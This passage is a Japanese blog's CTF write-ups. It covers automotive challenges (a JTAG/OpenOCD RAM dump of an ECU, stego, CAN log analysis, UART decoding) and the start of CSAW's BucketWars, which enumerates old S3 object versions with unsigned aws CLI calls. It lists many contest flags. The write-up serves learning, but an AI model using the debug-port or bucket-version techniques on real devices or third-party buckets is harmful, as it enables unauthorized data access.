iwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MCwweDgyLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODEsMHg4MywweDgzLDB4ODAsMHg4MiwweDgyLDB4ODMsMHg4MCwweDgzLDB4ODEsMHg4MSwweDgyLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgyLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgwLDB4ODMsMHg4MywweDgxLDB4ODIsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MCwweDgyLDB4ODAsMHg4MywweDgxLDB4ODEsMHg4MSwweDgxLDB4ODAsMHg4MywweDgyLDB4ODMsMHg4MSwweDgwLDB4ODAsMHg4MiwweDgzLDB4ODAsMHg4MiwweDgzLDB4ODEsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgwLDB4ODAsMHg4MywweDgzLDB4ODMsMHg4MSwweDgyLDB4ODEsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgyLDB4ODEsMHg4MiwweDgxLDB4ODAsMHg4MiwweDgwLDB4ODEsMHg4MywweDgyLDB4ODAsMHg4MiwweDgyLDB4ODAsMHg4MSwweDgyLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MywweDgyLDB4ODEsMHg4MiwweDgyLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MywweDgxLDB4ODMsMHg4MywweDgxLDB4ODIsMHg4MywweDgwLDB4ODEsMHg4MiwweDgwLDB4ODAsMHg4MCwweDgyLDB4ODMsMHg4MiwweDgwLDB4ODEsMHg4MCwweDgwLDB4ODMsMHg4MiwweDgxLDB4ODMsMHg4MywweDgyLDB4ODAsMHg4MCwweDgzLDB4ODIsMHg4MywweDgzLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgwLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgxLDB4ODMsMHg4MywweDgyLDB4ODAsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgwLDB4ODMsMHg4MywweDgxLDB4ODEsMHg4MywweDgyLDB4ODEsMHg4MCwweDgzLDB4ODMsMHg4MiwweDgwLDB4ODAsMHg4MSwweDgyLDB4ODIsMHg4MSwweDgzLDB4ODAsMHg4MywweDgwLDB4ODIsMHg4MiwweDgyLDB4ODEsMHg4MSwweDgxLDB4ODEsMHg4MCwweDgzLDB4ODMsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MCwweDgxLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MCwweDgyLDB4ODMsMHg4MiwweDgyLDB4ODMsMHg4MiwweDgzLDB4ODEsMHg4MiwweDgzLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MywweDgxLDB4ODMsMHg4MywweDgwLDB4ODEsMHg4MiwweDgxLDB4ODIsMHg4MiwweDgyLDB4ODAsMHg4MCwweDgzLDB4ODAsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgxLDB4ODIsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgwLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MSwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgyLDB4ODAsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgyLDB4ODAsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgyLDB4ODEsMHg4MiwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgxLDB4ODEsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgxLDB4ODIsMHg4MiwweDgwLDB4ODEsMHg4MCwweDgwLDB4ODEsMHg4MSwweDgyLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MSwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MywweDgwLDB4ODMsMHg4MiwweDgyLDB4ODAsMHg4MSwweDgxLDB4ODAsMHg4MiwweDgwLDB4ODAsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODAsMHg4MywweDgwLDB4ODMsMHg4MCwweDgxLDB4ODEsMHg4MywweDgzLDB4ODMsMHg4MiwweDgxLDB4ODAsMHg4MywweDgwLDB4ODAsMHg4MCwweDgwLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MywweDgyLDB4ODIsMHg4MywweDgyLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODEsMHg4MywweDgwLDB4ODMsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgyLDB4ODAsMHg4MywweDgwLDB4ODMsMHg4MCwweDgwLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MiwweDgxLDB4ODIsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MywweDgxLDB4ODEsMHg4MywweDgxLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MSwweDgyLDB4ODIsMHg4MCwweDgxLDB4ODAsMHg4MCwweDgzLDB4ODMsMHg4MiwweDgzLDB4ODAsMHg4MiwweDgwLDB4ODIsMHg4MywweDgxLDB4ODMsMHg4MSwweDgwLDB4ODEsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgyLDB4ODEsMHg4MSwweDgyLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MywweDgwLDB4ODEsMHg4MywweDgyLDB4ODEsMHg4MCwweDgyLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODIsMHg4MSwweDgxLDB4ODEsMHg4MSwweDgxLDB4ODAsMHg4MywweDgyLDB4ODMsMHg4MCwweDgyLDB4ODIsMHg4MiwweDgyLDB4ODMsMHg4MiwweDgwLDB4ODEsMHg4MiwweDgwLDB4ODEsMHg4MiwweDgzLDB4ODEsMHg4MywweDgwLDB4ODIsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MywweDgyLDB4ODMsMHg4MCwweDgyLDB4ODAsMHg4MCwweDgyLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MiwweDgxLDB4ODEsMHg4MSwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgxLDB4ODAsMHg4MiwweDgyLDB4ODMsMHg4MSwweDgxLDB4ODEsMHg4MywweDgwLDB4ODEsMHg4MCwweDgxLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MSwweDgyLDB4ODIsMHg4MywweDgxLDB4ODIsMHg4MSwweDgyLDB4ODAsMHg4MiwweDgwLDB4ODMsMHg4MSwweDgxLDB4ODMsMHg4MCwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MywweDgwLDB4ODAsMHg4MCwweDgzLDB4ODMsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgxLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MSwweDgzLDB4ODMsMHg4MywweDgyLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgyLDB4ODAsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgxLDB4ODAsMHg4MCwweDgxLDB4ODIsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgyLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MywweDgxLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MCwweDgxLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MSwweDgxLDB4ODEsMHg4MiwweDgwLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODAsMHg4MiwweDgxLDB4ODMsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgxLDB4ODIsMHg4MCwweDgwLDB4ODMsMHg4MiwweDgyLDB4ODMsMHg4MSwweDgwLDB4ODMsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgxLDB4ODMsMHg4MSwweDgzLDB4ODIsMHg4MywweDgzLDB4ODAsMHg4MSwweDgyLDB4ODAsMHg4MywweDgwLDB4ODMsMHg4MCwweDgwLDB4ODIsMHg4MywweDgzLDB4ODIsMHg4MCwweDgyLDB4ODIsMHg4MCwweDgxLDB4ODIsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgxLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODMsMHg4MSwweDgzLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MSwweDgyLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MywweDgzLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MCwweDgxLDB4ODEsMHg4MSwweDgwLDB4ODEsMHg4MiwweDgzLDB4ODAsMHg4MSwweDgwLDB4ODAsMHg4MiwweDgyLDB4ODIsMHg4MywweDgyLDB4ODEsMHg4MiwweDgwLDB4ODEsMHg4MSwweDgxLDB4ODIsMHg4MiwweDgxLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MiwweDgyLDB4ODIsMHg4MywweDgzLDB4ODEsMHg4MSwweDgxLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MywweDgwLDB4ODAsMHg4MCwweDgxLDB4ODIsMHg4MCwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MywweDgxLDB4ODMsMHg4MywweDgyLDB4ODMsMHg4MywweDgwLDB4ODMsMHg4MCwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgwLDB4ODEsMHg4MywweDgwLDB4ODIsMHg4MCwweDgyLDB4ODIsMHg4MSwweDgwLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MSwweDgyLA&ieol=CRLF

ということで前問から10分も経たずに解けた。bh{J0KE_PIquANT}

[ECU D] JTAG

フラグはJTAGインターフェースからECU DのRAMから読み取れます。
注意: この問題を解くためにopenocdが使用できます。

JTAGは出ますという事前アナウンスが直前にあったので、JTAGで接続してOpenOCDを使う流れを素振りしていた。おかげで本番はスムーズに解けた。この記事を丸ごとコピーしてできるようにしておいた。

結線する

今回自分が使ったC232HM-DDHSL-0は片方がJTAG用の端子で、片方がPCに刺せるようにUSBになっている。よって、最初はRAMNのECU Dに対して正しくJTAG用に結線することから始まる。 この記事にC232HM-DDHSL-0の色と用途のマッピングの図が書いてある。以下のような感じで刺せばいいと分かる。

ORANGE → TCK
YELLOW → TDI
GREEN → TDO
BROWN → TMS
GREY → TRST
BLACK → GND

次はRAMNのECU D側でどこに刺すかという部分であるが、コンテストサイトのnotificationsを見ると、拡張ポートからのみ接続するよう指示があった。RAMNの拡張ポートのページを見てみると、ECU Dのピン配置の番号と、各番号が何に対応しているかの図が書いてあった。それを参考にすると、以下のように結線すればいいことが分かる。

ORANGE → TCK → 24
YELLOW → TDI → 23
GREEN → TDO → 25
BROWN → TMS → 22
GREY → TRST → 26
BLACK → GND → 4

OpenOCDを使う

これで物理的な準備は整ったのでもう片方のUSB端子をPCにつないでOpenOCDを起動させていく。OpenOCDを起動させるにはインターフェースの設定ファイルと、マイコンの設定ファイルを用意する必要がある。

インターフェースの設定ファイルは、つまりは、C232HM-DDHSL-0の設定ファイルということになる。この点については、このページにある機器と同じものを使っているので、このページのc232hm-edhsl-0.cfgを使えばよい。

マイコンの設定ファイルを探してくる必要がある。コンテストサイトのnotificationsを見るとECUのマイコンはSTM32L552です。とあるので、STM32L552用を探してくる。この辺りの良くまとまっているサイトからstm32ほにゃらら.cfgを持ってきて試すもうまくいかない。エラーが出る。

エラーメッセージからトラブルシューティングしているとこのようなサイトが見つかる。確かにこの箇所が原因でエラーが出ているようだった。自力で直そうかと思ったが、この記事の人が既に修正したものを配布してくれていた。ここからOpenOCD spesific MCU-Aimed cfg files Nemuisan Specialをダウンロードしてきて色々試すと、OpenOCD_cfgs/tcl/target/stm32l1x_flash.cfgでOpenOCDの起動に成功!!!

インターフェースとマイコンの設定ファイルを持ってきて sudo openocd -f c232hm-edhsl-0.cfg -f stm32l1x_flash.cfg で起動する。

telnet経由でRAMから読み出す

telnet経由で謎のコンソールが立ち上がるのでメモリを取り出そうとしてみるが権限エラーになる。ちゃんとRAMの場所を指定する必要があるようだ。色々インターネットを探すとこのような記事が見つかる。ここに書いてある0x20000000を試すとRAMを読み出すことが出来た!

> mdw 0x20000000 0x1000
0x20000000: 0000027f 00000000 00000000 00000008 00000000 00000000 00000000 00000000 
0x20000020: 00000000 00000001 99f8b879 0000027a 00000000 00000000 00000001 00000000 
0x20000040: 00000000 00000000 00000000 00000000 00027f04 00000000 00000000 00000800 
0x20000060: 00000000 00000000 00000000 00000000 00000000 00000100 ff88ef01 00027aee 
...

ダンプできたメモリからフラグを探す

とりあえず0x20000000~0x2000bfa0くらいまでは取れたので、バイナリにする。それをstringsしてみるとS{hbLTOP_SSEARCSといういかにも怪しい文字列が出てくるので、その辺りを見てみると以下のようになっていた。

$ hd dump.bin | grep S{hb -A 2
0000a020  53 7b 68 62 4c 54 4f 50  5f 53 53 45 41 52 43 53  |S{hbLTOP_SSEARCS|
0000a030  00 7d 4c 57 06 99 f5 3a  d8 32 de 54 f0 61 eb c3  |.}LW...:.2.T.a..|
0000a040  cf 0a de f9 9b cd f2 db  a1 4e ad 8b a3 56 15 1f  |.........N...V..|

4バイトごとにリトルエンディアンのような感じで変換するとフラグになる。bh{SPOTLESS_SCRAWL}

[ECU B] RAM peak 解けなかった

4時間くらいひたすら取り組んでいました。あまりに解けないのでkusanoさんが

  • 与えられているWifiの紙に何かヒントがあるのではないか?
  • もしかして、Flag flag -> 0x466c6167 0x666c6167…か?

をしていて面白かった。

Automotive CTF Japan 予選 Writeup

https://ctftime.org/event/2473

誘っていただき、TeamOneとして出てました。自分が良く取り組んだ問題について書いていきます。メンバーのWriteupはここここ。決勝進出!

[Stego] Walk in the Park

park.binというファイルが与えられるのでステガノする問題。

この問題では、問題タイトルと問題文から解法を推理する必要がある。

Walk in the Park
Don't waste too much time!

第一ステップ

まずはタイトルから推理して、binWalk in the park.binをする。

$ binwalk -e park.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
57322         0xDFEA          uImage header, header size: 64 bytes, header CRC: 0x3DE33638, created: 2022-04-26 19:08:39, image size: 383504341 bytes, Data Address: 0xC136CE7E, Entry Point: 0xD0124D5E, data CRC: 0x1A688395, OS: Esix, CPU: PowerPC, image type: Firmware Image, image name: "null"
116932        0x1C8C4         gzip compressed data, has original file name: "null", from Acorn RISCOS, last modified: 2025-05-26 10:01:27
166972        0x28C3C         uImage header, header size: 64 bytes, header CRC: 0x4A0D4D83, created: 2026-01-18 17:56:49, image size: 19289263 bytes, Data Address: 0x1FD34521, Entry Point: 0x1697520B, data CRC: 0x82B8DCA1, OS: Esix, CPU: PowerPC, image type: Firmware Image, image name: "null"
204221        0x31DBD         BSD 2.x filesystem, size: -1252334617600 bytes, total blocks: -1222983025, free blocks: 0, last modified: 2031-03-30 03:08:45

4つ出てくる。特筆すべき点がnameがnullになっているという点。

第二ステップ

次のヒントはDon't waste too much time!である。binwalkの結果を見るとどれも時間が書かれていた。これをunixtimeに変換してasciiに変換してみよう。以下のようなスクリプトを使う。

import datetime

def datetime_to_unix_bytes(date_str:str, timezone) -> bytes:
    dt = datetime.datetime.strptime(date_str, "%Y-%m-%d %H:%M:%S")
    unix_time = int(dt.timestamp()) + timezone
    unix_time_bytes = unix_time.to_bytes(4, byteorder='big')
    
    return unix_time_bytes

ans = datetime_to_unix_bytes("2022-04-26 19:08:39", 0) + datetime_to_unix_bytes("2025-05-26 10:01:27", 0) + datetime_to_unix_bytes("2026-01-18 17:56:49", 0) + datetime_to_unix_bytes("2031-03-30 03:08:45", 0)
print(ans)

するとb'bg\xc4\xa7h3\xbdgil\xa0Qs0\xbd\xad'という出力が得られた。bから始まっていますね。何か良い予感する。

第三ステップ

時刻を見るとタイムゾーンが気になるのが人の性。ローカルタイムになっているのではないかということで、タイムゾーンガチャをしてみよう。以下のように適当に増やして回してみる。

import datetime

def datetime_to_unix_bytes(date_str:str, timezone) -> bytes:
    dt = datetime.datetime.strptime(date_str, "%Y-%m-%d %H:%M:%S")
    unix_time = int(dt.timestamp()) + timezone
    unix_time_bytes = unix_time.to_bytes(4, byteorder='big')
    
    return unix_time_bytes

for dt in range(24*60*60):
    ans = datetime_to_unix_bytes("2022-04-26 19:08:39", dt) + datetime_to_unix_bytes("2025-05-26 10:01:27", dt) + datetime_to_unix_bytes("2026-01-18 17:56:49", dt) + datetime_to_unix_bytes("2031-03-30 03:08:45", dt)
    try:
        if ans.decode().startswith('bh{'):
            print(dt, ans)
    except:
        pass

これを実行すると、以下のような結果が得られる。

46767 b'bh{Vh4t\x16imW\x00s1t\\'
46768 b'bh{Wh4t\x17imW\x01s1t]'
46769 b'bh{Xh4t\x18imW\x02s1t^'
46770 b'bh{Yh4t\x19imW\x03s1t_'
46771 b'bh{Zh4t\x1aimW\x04s1t`'
46772 b'bh{[h4t\x1bimW\x05s1ta'
46773 b'bh{\\h4t\x1cimW\x06s1tb'
46774 b'bh{]h4t\x1dimW\x07s1tc'
46775 b'bh{^h4t\x1eimW\x08s1td'
46776 b'bh{_h4t\x1fimW\ts1te'
46777 b'bh{`h4t imW\ns1tf'
46778 b'bh{ah4t!imW\x0bs1tg'
46779 b'bh{bh4t"imW\x0cs1th'
46780 b'bh{ch4t#imW\rs1ti'
46781 b'bh{dh4t$imW\x0es1tj'
46782 b'bh{eh4t%imW\x0fs1tk'
46783 b'bh{fh4t&imW\x10s1tl'
46784 b"bh{gh4t'imW\x11s1tm"
46785 b'bh{hh4t(imW\x12s1tn'
46786 b'bh{ih4t)imW\x13s1to'
46787 b'bh{jh4t*imW\x14s1tp'
46788 b'bh{kh4t+imW\x15s1tq'
46789 b'bh{lh4t,imW\x16s1tr'
46790 b'bh{mh4t-imW\x17s1ts'
46791 b'bh{nh4t.imW\x18s1tt'
46792 b'bh{oh4t/imW\x19s1tu'
46793 b'bh{ph4t0imW\x1as1tv'
46794 b'bh{qh4t1imW\x1bs1tw'
46795 b'bh{rh4t2imW\x1cs1tx'
46796 b'bh{sh4t3imW\x1ds1ty'
46797 b'bh{th4t4imW\x1es1tz'
46798 b'bh{uh4t5imW\x1fs1t{'
46799 b'bh{vh4t6imW s1t|'
46800 b'bh{wh4t7imW!s1t}'
46801 b'bh{xh4t8imW"s1t~'
46802 b'bh{yh4t9imW#s1t\x7f'

とてもいい感じ。見ると46800の時に正解のようなフラグができている。bh{wh4t7imW!s1t}。提出してみるが、不正解。

第四ステップ

フラグを見ると、どう見てもwhat time is itにしたい雰囲気を感じる。4文字ずつ生成されることを考えると、

bh{w
h4t7
imW!
s1t}

という感じになるが、3番目だけどうもおかしい。そうですね、3番目だけタイムゾーンが違う。3番目のタイムゾーンを全探索しなおす。さすがに1時間単位だろうと思うので以下のように書いて様子を見る。

import datetime

def datetime_to_unix_bytes(date_str:str, timezone) -> bytes:
    dt = datetime.datetime.strptime(date_str, "%Y-%m-%d %H:%M:%S")
    unix_time = int(dt.timestamp()) + timezone
    unix_time_bytes = unix_time.to_bytes(4, byteorder='big')
    
    return unix_time_bytes

dt1 = 46800

for dt2 in range(24):
    ans1 = datetime_to_unix_bytes("2022-04-26 19:08:39", dt1) + datetime_to_unix_bytes("2025-05-26 10:01:27", dt1)
    ans2 = datetime_to_unix_bytes("2026-01-18 17:56:49", dt2*60*60)
    ans3 = datetime_to_unix_bytes("2031-03-30 03:08:45", dt1)
    ans = ans1 + ans2 + ans3
    print(dt2, ans)

これの結果が以下。

0 b'bh{wh4t7il\xa0Qs1t}'
1 b'bh{wh4t7il\xaeas1t}'
2 b'bh{wh4t7il\xbcqs1t}'
3 b'bh{wh4t7il\xca\x81s1t}'
4 b'bh{wh4t7il\xd8\x91s1t}'
5 b'bh{wh4t7il\xe6\xa1s1t}'
6 b'bh{wh4t7il\xf4\xb1s1t}'
7 b'bh{wh4t7im\x02\xc1s1t}'
8 b'bh{wh4t7im\x10\xd1s1t}'
9 b'bh{wh4t7im\x1e\xe1s1t}'
10 b'bh{wh4t7im,\xf1s1t}'
11 b'bh{wh4t7im;\x01s1t}'
12 b'bh{wh4t7imI\x11s1t}'
13 b'bh{wh4t7imW!s1t}'
14 b'bh{wh4t7ime1s1t}'
15 b'bh{wh4t7imsAs1t}'
16 b'bh{wh4t7im\x81Qs1t}'
17 b'bh{wh4t7im\x8fas1t}'
18 b'bh{wh4t7im\x9dqs1t}'
19 b'bh{wh4t7im\xab\x81s1t}'
20 b'bh{wh4t7im\xb9\x91s1t}'
21 b'bh{wh4t7im\xc7\xa1s1t}'
22 b'bh{wh4t7im\xd5\xb1s1t}'
23 b'bh{wh4t7im\xe3\xc1s1t}'

いいですね。一つだけ浮いて見えるフラグがありますね。bh{wh4t7ime1s1t}が正解。

[xNexux] Can bus anomaly #1

xNexusというVSOCプラットフォーム(つまりは車向けのSIEMとかXDRみたいなやつ)が与えられ、ログが色々出ているので設問に答える問題。設問は以下。

Analyze CAN Bus Data anomalies and find the pattern. Answer should be enclosed in the standard format flag.

問題文通りに進めていく

xNexusを巡回するとpayload_fingerprint_violation_reasonという検知がログに大量に残っていた。Analyze CAN Bus Data anomaliesはこれのことですね。となると次はfind the pattern部分であるが、眺めていくと以下のようなパターンがあることが分かった。

CanID         Data
0x00000760    0314ff0000000000
0x00000768    6f6d346e00000000
0x00000768    0354ff000000346c
0x00000094    0279660000000000
0x00000094    0000400000000000
0x00000094    6c346700000000
0x00000094    0000800000000000
0x00000094    1337c00000beff00

パターンがどの部分を指すのかは分かった。あとは、答えをいつものフラグ形式を使って回答するだけのシンプルな問題。

Ascii変換

いつものようにとりあえずasciiに変換してみよう。

CanID         Data
0x00000760    0314ff00 00000000   .... ....
0x00000768    6f6d346e 00000000   om4n ....
0x00000768    0354ff00 0000346c   .T.. ..4l
0x00000094    02796600 00000000   .yf. ....
0x00000094    00004000 00000000   ..@. ....
0x00000094    6c346700 000000     l4g. ...
0x00000094    00008000 00000000   .... ....
0x00000094    1337c000 00beff00   .7.. ....

l4gom4nのようなフラグの断片のようなものが見えてくる。

グッと睨むと

bh{4nom4lyfl4g} フラグが出てきます。正攻法はあるかもしれないが分からなかった。

[OSINT] 1 or 2?

問題文は以下。

What is the make and color of our other vehicle we owned? One is grey.
Write answer in format: bh{color_make}, for example: bh{yellow_cadillac}

誰かが2台車を持っていて、1台はグレーだが、もう1台は何色でどこのメーカーでしょうかという問題。

OSINTと言えばSNS

コンテストサイトのトップページにLinkedInのリンクがあった。これを開くとBlock Harbor Cybersecurityへのリンクがある。投稿を見ていくと、このようなポストが見つかる。

1台はグレーで、1台は赤の車が並んで撮影されていた。手前の車を画像検索すると、Ford Mustangであることが分かるのでbh{red_ford}

[Misc] Lost in the echo

ctf.srというロジックアナライザ―ファイルが手に入るので、デコードする問題。PulseViewで開く。2つ通信の塊が記録されている。

1つ目の塊

周波数を計算すると9615bpsで、LIN通信っぽい見た目をしていたので、LIN通信でデコードにしてBaudを9615にすると色々出てきた。UART RX dataを全部ダンプしてくる。

9729251-9749221 UART: RX data: 20
9749220-9751717 UART: RX data: Stop bit
9751711-9754208 UART: RX data: Start bit
9754207-9774177 UART: RX data: 4C
9774176-9776673 UART: RX data: Stop bit
9776668-9779165 UART: RX data: Start bit
9779164-9799134 UART: RX data: 6F
9799133-9801630 UART: RX data: Stop bit
9801624-9804121 UART: RX data: Start bit

UARTなのでstart/stop bitがあり、データが送信されている。データを全部持ってきてasciiにすると以下のようになる。

 Loaded Succesfully
CPU clock speed:   792MHz
Encoding the secret with shift 13
Copying the secret codes to vault
echo "OU{HNEG3AP...


Detected noise on the line.. Falling back to lower transmission speed

ほう。周波数を調整しようという話をしていますね。

2つ目の塊

こちらも周波数を計算すると1200bpsで同様の手順でasciiにすると

Switched to lower tranmission speed
Enabling more "secure" transmission
Encoding the secret to be a little more safe

01001111 01010101 01111011 01001000 01001110 01000101 01000111 00110011 01000001 01010000 00110000 01010001 00110011 01001110 01000001 01010001 01010001 00110011 01010000 00110000 01010001 00110011 01111101

といい感じに出てくるので後は以下のような感じで変換すればフラグが出てくる。

https://gchq.github.io/CyberChef/#recipe=From_Binary('Space',8)ROT13(true,true,false,13)&input=MDEwMDExMTEgMDEwMTAxMDEgMDExMTEwMTEgMDEwMDEwMDAgMDEwMDExMTAgMDEwMDAxMDEgMDEwMDAxMTEgMDAxMTAwMTEgMDEwMDAwMDEgMDEwMTAwMDAgMDAxMTAwMDAgMDEwMTAwMDEgMDAxMTAwMTEgMDEwMDExMTAgMDEwMDAwMDEgMDEwMTAwMDEgMDEwMTAwMDEgMDAxMTAwMTEgMDEwMTAwMDAgMDAxMTAwMDAgMDEwMTAwMDEgMDAxMTAwMTEgMDExMTExMDE&ieol=CRLF&oeol=CRLF

[Stego] ivi

ディスクイメージが与えられるので色々頑張ってフラグを持って来る問題。解法ログをちゃんと残していなくていまいち解法を覚えていないが、確か以下のような流れ。

  1. 削除されたファイルからとあるパスワードを取得し
  2. rolled.jpgといういつもの人の画像をbinwalkすると暗号化zipが手に入り
  3. 暗号化zipを手順1のパスワードで解凍するとパスワードが手に入り
  4. 手順3のパスワードでLUKS暗号化領域を開き
  5. 1206112547-29099.txtという座標が書かれたファイルが手に入るので、
  6. Google Mapで座標を全部ピン止めしてみるとROUND_THE_WORLDという文字が浮かび上がってきて、それがフラグ

[Misc] Siggy

cybertruck.pngというファイルが与えられるのでステガノする問題。

Part 1

exiftoolで見てみるとフラグの前半部分が見つかる。

$ exiftool cybertruck.png
...
Interlace                       : Noninterlaced
Exif Byte Order                 : Little-endian (Intel, II)
Camera Model Name               : Y3liM3JU
Interoperability Index          : Unknown (VHJ1Q2tf)
SRGB Rendering                  : Perceptual
Image Size                      : 734x734
Megapixels                      : 0.539

Camera Model NameとInteroperability Indexに妙な文字列が入っている。2つを繋げたY3liM3JUVHJ1Q2tfbase64デコードするとcyb3rTTruCk_だった。

Part 2

この車の画像はTeslaのCYBERTRUCKの画像である。オリジナルが無いか探してみると、ここにそれっぽいのがあった。縦のサイズが734pxで一致している。

画像比較してみよう、ということでオリジナルの画像を与えられているcybertruck.pngに合うように加工をしてxor和を取る。

convert cybertruck.png internelt.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" out.png

出てきたout.pngを青い空を見上げればいつもそこに白い猫に食わせて、ステガノグラフィー解析でポチポチやっていくと、RGBそれぞれの下位0ビットを抽出するとQRコードが浮かびあがってきた。 RのQRコードは壊れていたが、GとBは同じ結果を得ることができて、1s_we1rdが得られる。

よって

(フラグミスはあったので調整をして)bh{cyb3rTruCk_1s_we1rd}が答え。

[Stego] Stego 1

青い空を見上げればいつもそこに白い猫に食わせて、ステガノグラフィー解析でポチポチやるとフラグが出てくる。

CSAW CTF Qualification Round 2024 Writeup

https://ctftime.org/event/2398

[web] BucketWars

ソースコード無し。開いてみると

What's in a bucket?
Looking deeper into the stolen bucket only reveals past versions of our own selves one might muse 盗まれたバケツを深く覗き込むことは、結局のところ過去の自分自身を見ることに他ならない、と人は考えるかもしれない。

と言われる。Bucketと言えば、Amazon S3だが…

バケット名を探す

Burp Suiteを開いて、サイトを巡回して、Historyを見て回る。レスポンスヘッダーを見るとServer: AmazonS3とあり、S3でホストしているのは間違いなさそうだが、間にCloudFrontが挟まっていてbucketnameは分からない。

…と思いきやGET /favicon.icoの404応答を見ると、https://s3.us-east-2.amazonaws.com/bucketwars.ctf.csaw.io/404.jpgのように出力があり、bucketnameが漏洩していた。なるほど。つまり、バケット名は「bucketwars.ctf.csaw.io」

AWS CLIで色々やってみる

昔のバージョンが得られれば良さそうなので、aws s3api list-object-versions --bucket bucketwars.ctf.csaw.io --no-sign-requestしてみるとたくさん出てきた。出てきたものをaws s3api get-objectで取得してみると成功した。適当にリストを作ってマルチカーソルでコマンドをちまちま作って一気に持って来る。

$ aws s3api get-object --bucket bucketwars.ctf.csaw.io --key index_v1.html ./$(date +%s%3N)-index_v1.html --version-id CFNz2JPIIJfRlNfnVx8a45jgh0J90KxS --no-sign-request
$ aws s3api get-object --bucket bucketwars.ctf.csaw.io --key index_v1.html ./$(date +%s%3N)-index_v1.html --version-id t6G6A20JCaF5nzz6KuJR6Pj1zePOLAdB --no-sign-request

この辺りを持って来ると気になる情報が手に入る。

t6G6A20JCaF5nzz6KuJR6Pj1zePOLAdB
->
Wait what's here?
